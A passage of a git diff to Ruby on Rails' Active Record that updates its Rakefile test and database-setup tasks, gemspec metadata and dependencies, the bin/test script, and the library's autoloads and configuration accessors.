-      } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb"))
+      files = (FileList["test/cases/**/*_test.rb"].reject {
+        |x| x.include?("/adapters/") || x.include?("/encryption/performance")
+      } + FileList["test/cases/adapters/#{adapter_short}/**/*_test.rb"])
+      files = files + FileList["test/cases/adapters/abstract_mysql_adapter/**/*_test.rb"] if ["mysql2", "trilogy"].include?(adapter)
 
+      t.test_files = files
       t.warning = true
       t.verbose = true
+      t.options = "--profile" if ENV["CI"]
       t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
-    }
+    end
+
+    namespace :integration do
+      # Active Job Integration Tests
+      namespace :active_job do
+        Rake::TestTask.new(adapter => "#{adapter}:env") do |t|
+          t.libs << "test"
+          t.test_files = FileList["test/activejob/*_test.rb"]
+          t.warning = true
+          t.verbose = true
+          t.options = "--profile" if ENV["CI"]
+          t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+        end
+      end
+    end
 
     namespace :isolated do
       task adapter => "#{adapter}:env" do
-        adapter_short = adapter == "db2" ? adapter : adapter[/^[a-z0-9]+/]
+        adapter_short = adapter[/^[a-z0-9]+/]
         puts [adapter, adapter_short].inspect
-        (Dir["test/cases/**/*_test.rb"].reject {
-          |x| x.include?("/adapters/")
-        } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
-          sh(Gem.ruby, "-w" , "-Itest", file)
-        end || raise("Failures")
+
+        dash_i = [
+          "test",
+          "lib",
+          "../activesupport/lib",
+          "../activemodel/lib"
+        ].map { |dir| File.expand_path(dir, __dir__) }
+
+        dash_i.reverse_each do |x|
+          $:.unshift(x) unless $:.include?(x)
+        end
+        $-w = true
+
+        require "bundler/setup" unless defined?(Bundler)
+
+        # Every test file loads "cases/helper" first, so doing it
+        # post-fork gains us nothing.
+
+        # We need to dance around minitest autorun, though.
+        require "minitest"
+        Minitest.singleton_class.class_eval do
+          alias_method :_original_autorun, :autorun
+          def autorun
+            # no-op
+          end
+          require "cases/helper"
+          alias_method :autorun, :autorun # suppress redefinition warning
+          alias_method :autorun, :_original_autorun
+        end
+
+        failing_files = []
+
+        test_options = ENV["TESTOPTS"].to_s.split(/[\s]+/)
+
+        test_files = (Dir["test/cases/**/*_test.rb"].reject {
+          |x| x.include?("/adapters/") || x.include?("/encryption/performance")
+        } + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).sort
+
+        if ENV["BUILDKITE_PARALLEL_JOB_COUNT"]
+          n = ENV["BUILDKITE_PARALLEL_JOB"].to_i
+          m = ENV["BUILDKITE_PARALLEL_JOB_COUNT"].to_i
+
+          test_files = test_files.each_slice(m).filter_map { |slice| slice[n] }
+        end
+
+        test_files.each do |file|
+          puts "--- #{file}"
+          fake_command = Shellwords.join([
+            FileUtils::RUBY,
+            "-w",
+            *dash_i.map { |dir| "-I#{Pathname.new(dir).relative_path_from(Pathname.pwd)}" },
+            file,
+          ])
+          puts fake_command
+
+          # We could run these in parallel, but pretty much all of the
+          # railties tests already run in parallel, so ¯\_(⊙︿⊙)_/¯
+          Process.waitpid fork {
+            ARGV.clear.concat test_options
+            Rake.application = nil
+
+            Minitest.autorun
+
+            load file
+          }
+
+          unless $?.success?
+            failing_files << file
+            puts "^^^ +++"
+          end
+          puts
+        end
+
+        puts "--- All tests completed"
+        unless failing_files.empty?
+          puts "^^^ +++"
+          puts
+          puts "Failed in:"
+          failing_files.each do |file|
+            puts "  #{file}"
+          end
+          puts
+
+          exit 1
+        end
+      end
+    end
+
+    namespace :encryption do
+      namespace :performance do
+        Rake::TestTask.new(adapter => "#{adapter}:env") do |t|
+          t.description = "Encryption performance tests for #{adapter}"
+          t.libs << "test"
+          t.test_files = FileList["test/cases/encryption/performance/*_test.rb"]
+
+          t.warning = true
+          t.verbose = true
+          t.options = "--profile" if ENV["CI"]
+          t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+        end
       end
     end
   end
@@ -81,24 +224,52 @@ end
   end
 
   # Make sure the adapter test evaluates the env setting task
-  task "test_#{adapter}" => ["#{adapter}:env", "test:#{adapter}"]
+  task "test_#{adapter}" => ["#{adapter}:env", "test:#{adapter}", "test:integration:active_job:#{adapter}"]
   task "isolated_test_#{adapter}" => ["#{adapter}:env", "test:isolated:#{adapter}"]
 end
 
 namespace :db do
   namespace :mysql do
+    mysql_configs = ARTest.config["connections"]
+      .values_at("mysql2", "trilogy")
+      .flat_map { |connections| connections.values_at("arunit", "arunit2") }
+    mysql_connection_arguments = lambda do |connection, exclude_user_password: false|
+      connection = connection.except("username", "password") if exclude_user_password
+      [
+        ("--user=#{connection["username"]}" if connection["username"]),
+        ("--password=#{connection["password"]}" if connection["password"]),
+        ("--host=#{connection["host"]}" if connection["host"]),
+        ("--port=#{connection["port"]}" if connection["port"]),
+        ("--socket=#{connection["socket"]}" if connection["socket"])
+      ].join(" ")
+    end
+
+    desc "Create the MySQL Rails User"
+    task :build_user do
+      mysql_configs.each do |connection|
+        mysql_command = [
+          "mysql -uroot",
+          ("-proot" if ENV["MYSQL_CODESPACES"]),
+          mysql_connection_arguments[connection, exclude_user_password: true],
+        ].join(" ")
+        %x( #{mysql_command} -e "CREATE USER IF NOT EXISTS '#{connection["username"]}'@'%';" )
+        %x( #{mysql_command} -e "GRANT ALL PRIVILEGES ON #{connection["database"]}.* to '#{connection["username"]}'@'%'" )
+        %x( #{mysql_command} -e "GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.* to '#{connection["username"]}'@'%';" )
+      end
+    end
+
     desc "Build the MySQL test databases"
-    task :build do
-      config = ARTest.config["connections"]["mysql2"]
-      %x( mysql --user=#{config["arunit"]["username"]} --password=#{config["arunit"]["password"]} -e "create DATABASE #{config["arunit"]["database"]} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
-      %x( mysql --user=#{config["arunit2"]["username"]} --password=#{config["arunit2"]["password"]} -e "create DATABASE #{config["arunit2"]["database"]} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci ")
+    task build: ["db:mysql:build_user"] do
+      mysql_configs.each do |connection|
+        %x( mysql #{mysql_connection_arguments[connection]} -e "create DATABASE IF NOT EXISTS #{connection["database"]} DEFAULT CHARACTER SET utf8mb4" )
+      end
     end
 
     desc "Drop the MySQL test databases"
-    task :drop do
-      config = ARTest.config["connections"]["mysql2"]
-      %x( mysqladmin --user=#{config["arunit"]["username"]} --password=#{config["arunit"]["password"]} -f drop #{config["arunit"]["database"]} )
-      %x( mysqladmin --user=#{config["arunit2"]["username"]} --password=#{config["arunit2"]["password"]} -f drop #{config["arunit2"]["database"]} )
+    task drop: ["db:mysql:build_user"] do
+      mysql_configs.each do |connection|
+        %x( mysql #{mysql_connection_arguments[connection]} -e "drop database IF EXISTS #{connection["database"]}" )
+      end
     end
 
     desc "Rebuild the MySQL test databases"
@@ -109,15 +280,15 @@ namespace :db do
     desc "Build the PostgreSQL test databases"
     task :build do
       config = ARTest.config["connections"]["postgresql"]
-      %x( createdb -E UTF8 -T template0 #{config["arunit"]["database"]} )
-      %x( createdb -E UTF8 -T template0 #{config["arunit2"]["database"]} )
+      %x( createdb -E UTF8 -T template0 #{config["arunit"]["database"]} --lc-collate en_US.UTF-8 )
+      %x( createdb -E UTF8 -T template0 #{config["arunit2"]["database"]} --lc-collate en_US.UTF-8 )
     end
 
     desc "Drop the PostgreSQL test databases"
     task :drop do
       config = ARTest.config["connections"]["postgresql"]
-      %x( dropdb #{config["arunit"]["database"]} )
-      %x( dropdb #{config["arunit2"]["database"]} )
+      %x( dropdb --if-exists #{config["arunit"]["database"]} )
+      %x( dropdb --if-exists #{config["arunit2"]["database"]} )
     end
 
     desc "Rebuild the PostgreSQL test databases"
@@ -134,7 +305,7 @@ task drop_postgresql_databases: "db:postgresql:drop"
 task rebuild_postgresql_databases: "db:postgresql:rebuild"
 
 task :lines do
-  load File.expand_path("..", File.dirname(__FILE__)) + "/tools/line_statistics"
+  load File.expand_path("../tools/line_statistics", __dir__)
   files = FileList["lib/active_record/**/*.rb"]
   CodeTools::LineStatistics.new(files).print_loc
 end
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index 0b37e9076c2bd..7f6b31b8978e4 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -1,4 +1,6 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
@@ -7,13 +9,13 @@ Gem::Specification.new do |s|
   s.summary     = "Object-relational mapper framework (part of Rails)."
   s.description = "Databases on Rails. Build a persistent domain model by mapping database tables to Ruby classes. Strong conventions for associations, validations, aggregations, migrations, and testing come baked-in."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
   s.files        = Dir["CHANGELOG.md", "MIT-LICENSE", "README.rdoc", "examples/**/*", "lib/**/*"]
   s.require_path = "lib"
@@ -21,8 +23,19 @@ Gem::Specification.new do |s|
   s.extra_rdoc_files = %w(README.rdoc)
   s.rdoc_options.concat ["--main",  "README.rdoc"]
 
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/activerecord/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/activerecord",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
   s.add_dependency "activesupport", version
   s.add_dependency "activemodel",   version
-
-  s.add_dependency "arel", "~> 8.0"
+  s.add_dependency "timeout", ">= 0.4.0"
 end
diff --git a/activerecord/bin/test b/activerecord/bin/test
index 3a9547e5c1fab..a1e6a4915630e 100755
--- a/activerecord/bin/test
+++ b/activerecord/bin/test
@@ -1,14 +1,23 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
+
+adapter_index = ARGV.index("--adapter") || ARGV.index("-a")
+if adapter_index
+  ARGV.delete_at(adapter_index)
+  ENV["ARCONN"] = ARGV.delete_at(adapter_index).strip
+end
+
+ENV["ARCONN"] ||= "sqlite3_mem"
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../test/support/tools"
 
 module Minitest
   def self.plugin_active_record_options(opts, options)
     opts.separator ""
     opts.separator "Active Record options:"
     opts.on("-a", "--adapter [ADAPTER]",
-            "Run tests using a specific adapter (sqlite3, sqlite3_mem, mysql2, postgresql)") do |adapter|
+            "Run tests using a specific adapter (sqlite3, sqlite3_mem, mysql2, trilogy, postgresql)") do |adapter|
       ENV["ARCONN"] = adapter.strip
     end
 
@@ -16,4 +25,5 @@ module Minitest
   end
 end
 
+Minitest.load_plugins
 Minitest.extensions.unshift "active_record"
diff --git a/activerecord/examples/.gitignore b/activerecord/examples/.gitignore
deleted file mode 100644
index 0dfc1cb7fb177..0000000000000
--- a/activerecord/examples/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-performance.sql
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
index 3257dd4ad7f13..4e3fe2fb6e344 100644
--- a/activerecord/examples/performance.rb
+++ b/activerecord/examples/performance.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_record"
 require "benchmark/ips"
 
@@ -174,10 +176,10 @@ def self.email
   end
 
   x.report "Model.log" do
-    Exhibit.connection.send(:log, "hello", "world") {}
+    Exhibit.lease_connection.send(:log, "hello", "world") { }
   end
 
   x.report "AR.execute(query)" do
-    ActiveRecord::Base.connection.execute("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}")
+    ActiveRecord::Base.lease_connection.execute("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}")
   end
 end
diff --git a/activerecord/examples/simple.rb b/activerecord/examples/simple.rb
index c3648fee48d0a..280b786d731dd 100644
--- a/activerecord/examples/simple.rb
+++ b/activerecord/examples/simple.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_record"
 
 class Person < ActiveRecord::Base
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index 96b8545dfc013..4d118254e2117 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2004-2017 David Heinemeier Hansson
+# Copyright (c) David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -23,37 +25,49 @@
 
 require "active_support"
 require "active_support/rails"
+require "active_support/ordered_options"
+require "active_support/core_ext/array/conversions"
 require "active_model"
 require "arel"
+require "yaml"
+require "zlib"
 
 require "active_record/version"
-require "active_record/attribute_set"
+require "active_record/deprecator"
+require "active_model/attribute_set"
+require "active_record/errors"
 
+# :include: ../README.rdoc
 module ActiveRecord
   extend ActiveSupport::Autoload
 
-  autoload :Attribute
   autoload :Base
   autoload :Callbacks
-  autoload :Core
   autoload :ConnectionHandling
+  autoload :Core
   autoload :CounterCache
+  autoload :DelegatedType
+  autoload :DestroyAssociationAsyncJob
   autoload :DynamicMatchers
+  autoload :Encryption
   autoload :Enum
-  autoload :InternalMetadata
   autoload :Explain
+  autoload :FixtureSet, "active_record/fixtures"
+  autoload :FilterAttributeHandler
   autoload :Inheritance
   autoload :Integration
+  autoload :InternalMetadata
+  autoload :LogSubscriber
+  autoload :Marshalling
   autoload :Migration
   autoload :Migrator, "active_record/migration"
   autoload :ModelSchema
   autoload :NestedAttributes
   autoload :NoTouching
-  autoload :TouchLater
   autoload :Persistence
   autoload :QueryCache
+  autoload :QueryLogs
   autoload :Querying
-  autoload :CollectionCacheKey
   autoload :ReadonlyAttributes
   autoload :RecordInvalid, "active_record/validations"
   autoload :Reflection
@@ -63,64 +77,72 @@ module ActiveRecord
   autoload :SchemaDumper
   autoload :SchemaMigration
   autoload :Scoping
+  autoload :SecurePassword
+  autoload :SecureToken
   autoload :Serialization
-  autoload :StatementCache
+  autoload :SignedId
   autoload :Store
   autoload :Suppressor
+  autoload :TestDatabases
+  autoload :TestFixtures, "active_record/fixtures"
   autoload :Timestamp
+  autoload :TokenFor
+  autoload :TouchLater
   autoload :Transactions
   autoload :Translation
   autoload :Validations
-  autoload :SecureToken
 
   eager_autoload do
-    autoload :ActiveRecordError, "active_record/errors"
-    autoload :ConnectionNotEstablished, "active_record/errors"
-    autoload :ConnectionAdapters, "active_record/connection_adapters/abstract_adapter"
-
     autoload :Aggregations
+    autoload :AssociationRelation
     autoload :Associations
+    autoload :AsynchronousQueriesTracker
     autoload :AttributeAssignment
     autoload :AttributeMethods
     autoload :AutosaveAssociation
-
+    autoload :ConnectionAdapters
+    autoload :DisableJoinsAssociationRelation
+    autoload :FutureResult
     autoload :LegacyYamlAdapter
-
+    autoload :Promise
     autoload :Relation
-    autoload :AssociationRelation
-    autoload :NullRelation
+    autoload :Result
+    autoload :StatementCache
+    autoload :TableMetadata
+    autoload :Transaction
+    autoload :Type
 
     autoload_under "relation" do
-      autoload :QueryMethods
-      autoload :FinderMethods
+      autoload :Batches
       autoload :Calculations
+      autoload :Delegation
+      autoload :FinderMethods
       autoload :PredicateBuilder
+      autoload :QueryMethods
       autoload :SpawnMethods
-      autoload :Batches
-      autoload :Delegation
     end
-
-    autoload :Result
-    autoload :TableMetadata
   end
 
   module Coders
-    autoload :YAMLColumn, "active_record/coders/yaml_column"
+    autoload :ColumnSerializer, "active_record/coders/column_serializer"
     autoload :JSON, "active_record/coders/json"
+    autoload :YAMLColumn, "active_record/coders/yaml_column"
   end
 
   module AttributeMethods
     extend ActiveSupport::Autoload
 
+    autoload :CompositePrimaryKey
+
     eager_autoload do
       autoload :BeforeTypeCast
       autoload :Dirty
       autoload :PrimaryKey
       autoload :Query
       autoload :Read
+      autoload :Serialization
       autoload :TimeZoneConversion
       autoload :Write
-      autoload :Serialization
     end
   end
 
@@ -133,34 +155,393 @@ module Locking
     end
   end
 
-  module ConnectionAdapters
+  module Scoping
     extend ActiveSupport::Autoload
 
     eager_autoload do
-      autoload :AbstractAdapter
+      autoload :Default
+      autoload :Named
     end
   end
 
-  module Scoping
+  module Middleware
     extend ActiveSupport::Autoload
 
-    eager_autoload do
-      autoload :Named
-      autoload :Default
-    end
+    autoload :DatabaseSelector
+    autoload :ShardSelector
   end
 
   module Tasks
     extend ActiveSupport::Autoload
 
     autoload :DatabaseTasks
+    autoload :AbstractTasks, "active_record/tasks/abstract_tasks"
+    autoload :MySQLDatabaseTasks, "active_record/tasks/mysql_database_tasks"
+    autoload :PostgreSQLDatabaseTasks, "active_record/tasks/postgresql_database_tasks"
     autoload :SQLiteDatabaseTasks, "active_record/tasks/sqlite_database_tasks"
-    autoload :MySQLDatabaseTasks,  "active_record/tasks/mysql_database_tasks"
-    autoload :PostgreSQLDatabaseTasks,
-      "active_record/tasks/postgresql_database_tasks"
   end
 
-  autoload :TestFixtures, "active_record/fixtures"
+  singleton_class.attr_accessor :disable_prepared_statements
+  self.disable_prepared_statements = false
+
+  ##
+  # :singleton-method: lazily_load_schema_cache
+  # Lazily load the schema cache. This option will load the schema cache
+  # when a connection is established rather than on boot.
+  singleton_class.attr_accessor :lazily_load_schema_cache
+  self.lazily_load_schema_cache = false
+
+  ##
+  # :singleton-method: schema_cache_ignored_tables
+  # A list of tables or regex's to match tables to ignore when
+  # dumping the schema cache. For example if this is set to +[/^_/]+
+  # the schema cache will not dump tables named with an underscore.
+  singleton_class.attr_accessor :schema_cache_ignored_tables
+  self.schema_cache_ignored_tables = []
+
+  # Checks to see if the +table_name+ is ignored by checking
+  # against the +schema_cache_ignored_tables+ option.
+  #
+  #   ActiveRecord.schema_cache_ignored_table?(:developers)
+  #
+  def self.schema_cache_ignored_table?(table_name)
+    ActiveRecord.schema_cache_ignored_tables.any? do |ignored|
+      ignored === table_name
+    end
+  end
+
+  singleton_class.attr_accessor :database_cli
+  self.database_cli = { postgresql: "psql", mysql: %w[mysql mysql5], sqlite: "sqlite3" }
+
+  singleton_class.attr_reader :default_timezone
+
+  # Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
+  # dates and times from the database. This is set to :utc by default.
+  def self.default_timezone=(default_timezone)
+    unless %i(local utc).include?(default_timezone)
+      raise ArgumentError, "default_timezone must be either :utc (default) or :local."
+    end
+
+    @default_timezone = default_timezone
+  end
+
+  self.default_timezone = :utc
+
+  ##
+  # :singleton-method: db_warnings_action
+  # The action to take when database query produces warning.
+  # Must be one of :ignore, :log, :raise, :report, or a custom proc.
+  # The default is :ignore.
+  singleton_class.attr_reader :db_warnings_action
+
+  def self.db_warnings_action=(action)
+    @db_warnings_action =
+      case action
+      when :ignore
+        nil
+      when :log
+        ->(warning) do
+          warning_message = "[#{warning.class}] #{warning.message}"
+          warning_message += " (#{warning.code})" if warning.code
+          ActiveRecord::Base.logger.warn(warning_message)
+        end
+      when :raise
+        ->(warning) { raise warning }
+      when :report
+        ->(warning) { Rails.error.report(warning, handled: true) }
+      when Proc
+        action
+      else
+        raise ArgumentError, "db_warnings_action must be one of :ignore, :log, :raise, :report, or a custom proc."
+      end
+  end
+
+  self.db_warnings_action = :ignore
+
+  ##
+  # :singleton-method: db_warnings_ignore
+  # Specify allowlist of database warnings.
+  # Can be a string, regular expression, or an error code from the database.
+  #
+  #   ActiveRecord::Base.db_warnings_ignore = [/`SHOW WARNINGS` did not return the warnings/, "01000"]
+  singleton_class.attr_accessor :db_warnings_ignore
+  self.db_warnings_ignore = []
+
+  singleton_class.attr_accessor :writing_role
+  self.writing_role = :writing
+
+  singleton_class.attr_accessor :reading_role
+  self.reading_role = :reading
+
+  ##
+  # :singleton-method: async_query_executor
+  # Sets the async_query_executor for an application. By default the thread pool executor
+  # set to +nil+ which will not run queries in the background. Applications must configure
+  # a thread pool executor to use this feature. Options are:
+  #
+  #   * nil - Does not initialize a thread pool executor. Any async calls will be
+  #   run in the foreground.
+  #   * :global_thread_pool - Initializes a single +Concurrent::ThreadPoolExecutor+
+  #   that uses the +async_query_concurrency+ for the +max_threads+ value.
+  #   * :multi_thread_pool - Initializes a +Concurrent::ThreadPoolExecutor+ for each
+  #   database connection. The initializer values are defined in the configuration hash.
+  singleton_class.attr_accessor :async_query_executor
+  self.async_query_executor = nil
+
+  def self.global_thread_pool_async_query_executor # :nodoc:
+    concurrency = global_executor_concurrency || 4
+    @global_thread_pool_async_query_executor ||= Concurrent::ThreadPoolExecutor.new(
+      name: "ActiveRecord-global-async-query-executor",
+      min_threads: 0,
+      max_threads: concurrency,
+      max_queue: concurrency * 4,
+      fallback_policy: :caller_runs
+    )
+  end
+
+  # Set the +global_executor_concurrency+. This configuration value can only be used
+  # with the global thread pool async query executor.
+  def self.global_executor_concurrency=(global_executor_concurrency)
+    if self.async_query_executor.nil? || self.async_query_executor == :multi_thread_pool
+      raise ArgumentError, "`global_executor_concurrency` cannot be set when the executor is nil or set to `:multi_thread_pool`. For multiple thread pools, please set the concurrency in your database configuration."
+    end
+
+    @global_executor_concurrency = global_executor_concurrency
+  end
+
+  def self.global_executor_concurrency # :nodoc:
+    @global_executor_concurrency ||= nil
+  end
+
+  @permanent_connection_checkout = true
+  singleton_class.attr_reader :permanent_connection_checkout
+
+  # Defines whether +ActiveRecord::Base.connection+ is allowed, deprecated, or entirely disallowed.
+  def self.permanent_connection_checkout=(value)
+    unless [true, :deprecated, :disallowed].include?(value)
+      raise ArgumentError, "permanent_connection_checkout must be one of: `true`, `:deprecated` or `:disallowed`"
+    end
+    @permanent_connection_checkout = value
+  end
+
+  singleton_class.attr_accessor :index_nested_attribute_errors
+  self.index_nested_attribute_errors = false
+
+  ##
+  # :singleton-method: verbose_query_logs
+  #
+  # Specifies if the methods calling database queries should be logged below
+  # their relevant queries. Defaults to false.
+  singleton_class.attr_accessor :verbose_query_logs
+  self.verbose_query_logs = false
+
+  ##
+  # :singleton-method: queues
+  #
+  # Specifies the names of the queues used by background jobs.
+  singleton_class.attr_accessor :queues
+  self.queues = {}
+
+  singleton_class.attr_accessor :maintain_test_schema
+  self.maintain_test_schema = nil
+
+  singleton_class.attr_accessor :raise_on_assign_to_attr_readonly
+  self.raise_on_assign_to_attr_readonly = false
+
+  singleton_class.attr_accessor :belongs_to_required_validates_foreign_key
+  self.belongs_to_required_validates_foreign_key = true
+
+  singleton_class.attr_accessor :before_committed_on_all_records
+  self.before_committed_on_all_records = false
+
+  singleton_class.attr_accessor :run_after_transaction_callbacks_in_order_defined
+  self.run_after_transaction_callbacks_in_order_defined = false
+
+  singleton_class.attr_accessor :raise_on_missing_required_finder_order_columns
+  self.run_after_transaction_callbacks_in_order_defined = false
+
+  singleton_class.attr_accessor :application_record_class
+  self.application_record_class = nil
+
+  ##
+  # :singleton-method: action_on_strict_loading_violation
+  # Set the application to log or raise when an association violates strict loading.
+  # Defaults to :raise.
+  singleton_class.attr_accessor :action_on_strict_loading_violation
+  self.action_on_strict_loading_violation = :raise
+
+  ##
+  # :singleton-method: schema_format
+  # Specifies the format to use when dumping the database schema with Rails'
+  # Rakefile. If :sql, the schema is dumped as (potentially database-
+  # specific) SQL statements. If :ruby, the schema is dumped as an
+  # ActiveRecord::Schema file which can be loaded into any database that
+  # supports migrations. Use :ruby if you want to have different database
+  # adapters for, e.g., your development and test environments. This can be
+  # overridden per-database in the database configuration.
+  singleton_class.attr_accessor :schema_format
+  self.schema_format = :ruby
+
+  ##
+  # :singleton-method: error_on_ignored_order
+  # Specifies if an error should be raised if the query has an order being
+  # ignored when doing batch queries. Useful in applications where the
+  # scope being ignored is error-worthy, rather than a warning.
+  singleton_class.attr_accessor :error_on_ignored_order
+  self.error_on_ignored_order = false
+
+  ##
+  # :singleton-method: timestamped_migrations
+  # Specify whether or not to use timestamps for migration versions
+  singleton_class.attr_accessor :timestamped_migrations
+  self.timestamped_migrations = true
+
+  ##
+  # :singleton-method: validate_migration_timestamps
+  # Specify whether or not to validate migration timestamps. When set, an error
+  # will be raised if a timestamp is more than a day ahead of the timestamp
+  # associated with the current time. +timestamped_migrations+ must be set to true.
+  singleton_class.attr_accessor :validate_migration_timestamps
+  self.validate_migration_timestamps = false
+
+  ##
+  # :singleton-method: migration_strategy
+  # Specify the global default strategy to use for executing migrations.
+  # Individual adapter classes can override this by setting their own migration_strategy.
+  singleton_class.attr_accessor :migration_strategy
+  self.migration_strategy = Migration::DefaultStrategy
+
+  ##
+  # :singleton-method: schema_versions_formatter
+  # Specify the formatter used by schema dumper to format versions information.
+  singleton_class.attr_accessor :schema_versions_formatter
+  self.schema_versions_formatter = Migration::DefaultSchemaVersionsFormatter
+
+  ##
+  # :singleton-method: dump_schema_after_migration
+  # Specify whether schema dump should happen at the end of the
+  # bin/rails db:migrate command. This is true by default, which is useful for the
+  # development environment. This should ideally be false in the production
+  # environment where dumping schema is rarely needed.
+  singleton_class.attr_accessor :dump_schema_after_migration
+  self.dump_schema_after_migration = true
+
+  ##
+  # :singleton-method: dump_schemas
+  # Specifies which database schemas to dump when calling db:schema:dump.
+  # If the value is :schema_search_path (the default), any schemas listed in
+  # schema_search_path are dumped. Use :all to dump all schemas regardless
+  # of schema_search_path, or a string of comma separated schemas for a
+  # custom list.
+  singleton_class.attr_accessor :dump_schemas
+  self.dump_schemas = :schema_search_path
+
+  ##
+  # :singleton-method: verify_foreign_keys_for_fixtures
+  # If true, Rails will verify all foreign keys in the database after loading fixtures.
+  # An error will be raised if there are any foreign key violations, indicating incorrectly
+  # written fixtures.
+  # Supported by PostgreSQL and SQLite.
+  singleton_class.attr_accessor :verify_foreign_keys_for_fixtures
+  self.verify_foreign_keys_for_fixtures = false
+
+  singleton_class.attr_accessor :query_transformers
+  self.query_transformers = []
+
+  ##
+  # :singleton-method: use_yaml_unsafe_load
+  # Application configurable boolean that instructs the YAML Coder to use
+  # an unsafe load if set to true.
+  singleton_class.attr_accessor :use_yaml_unsafe_load
+  self.use_yaml_unsafe_load = false
+
+  ##
+  # :singleton-method: raise_int_wider_than_64bit
+  # Application configurable boolean that denotes whether or not to raise
+  # an exception when the PostgreSQLAdapter is provided with an integer that
+  # is wider than signed 64bit representation
+  singleton_class.attr_accessor :raise_int_wider_than_64bit
+  self.raise_int_wider_than_64bit = true
+
+  ##
+  # :singleton-method: yaml_column_permitted_classes
+  # Application configurable array that provides additional permitted classes
+  # to Psych safe_load in the YAML Coder
+  singleton_class.attr_accessor :yaml_column_permitted_classes
+  self.yaml_column_permitted_classes = [Symbol]
+
+  ##
+  # :singleton-method: generate_secure_token_on
+  # Controls when to generate a value for <tt>has_secure_token</tt>
+  # declarations. Defaults to <tt>:create</tt>.
+  singleton_class.attr_accessor :generate_secure_token_on
+  self.generate_secure_token_on = :create
+
+  def self.deprecated_associations_options=(options)
+    raise ArgumentError, "deprecated_associations_options must be a hash" unless options.is_a?(Hash)
+
+    valid_keys = [:mode, :backtrace]
+
+    invalid_keys = options.keys - valid_keys
+    unless invalid_keys.empty?
+      inflected_key = invalid_keys.size == 1 ? "key" : "keys"
+      raise ArgumentError, "invalid deprecated_associations_options #{inflected_key} #{invalid_keys.map(&:inspect).to_sentence} (valid keys are #{valid_keys.map(&:inspect).to_sentence})"
+    end
+
+    options.each do |key, value|
+      ActiveRecord::Associations::Deprecation.send("#{key}=", value)
+    end
+  end
+
+  def self.deprecated_associations_options
+    {
+      mode: ActiveRecord::Associations::Deprecation.mode,
+      backtrace: ActiveRecord::Associations::Deprecation.backtrace
+    }
+  end
+
+  def self.marshalling_format_version
+    Marshalling.format_version
+  end
+
+  def self.marshalling_format_version=(value)
+    Marshalling.format_version = value
+  end
+
+  ##
+  # :singleton-method: protocol_adapters
+  # Provides a mapping between database protocols/DBMSs and the
+  # underlying database adapter to be used. This is used only by the
+  # <tt>DATABASE_URL</tt> environment variable.
+  #
+  # == Example
+  #
+  #   DATABASE_URL="mysql://myuser:mypass@localhost/somedatabase"
+  #
+  # The above URL specifies that MySQL is the desired protocol/DBMS, and the
+  # application configuration can then decide which adapter to use. For this example
+  # the default mapping is from <tt>mysql</tt> to <tt>mysql2</tt>, but <tt>:trilogy</tt>
+  # is also supported.
+  #
+  #   ActiveRecord.protocol_adapters.mysql = "mysql2"
+  #
+  # The protocols names are arbitrary, and external database adapters can be
+  # registered and set here.
+  singleton_class.attr_accessor :protocol_adapters
+  self.protocol_adapters = ActiveSupport::InheritableOptions.new(
+    {
+      sqlite: "sqlite3",
+      mysql: "mysql2",
+      postgres: "postgresql",
+    }
+  )
+
+  ##
+  # :singleton-method: message_verifiers
+  #
+  # ActiveSupport::MessageVerifiers instance for Active Record. If you are using
+  # Rails, this will be set to +Rails.application.message_verifiers+.
+  singleton_class.attr_accessor :message_verifiers
 
   def self.eager_load!
     super
@@ -169,6 +550,76 @@ def self.eager_load!
     ActiveRecord::Associations.eager_load!
     ActiveRecord::AttributeMethods.eager_load!
     ActiveRecord::ConnectionAdapters.eager_load!
+    ActiveRecord::Encryption.eager_load!
+  end
+
+  # Explicitly closes all database connections in all pools.
+  def self.disconnect_all!
+    ConnectionAdapters::PoolConfig.disconnect_all!
+  end
+
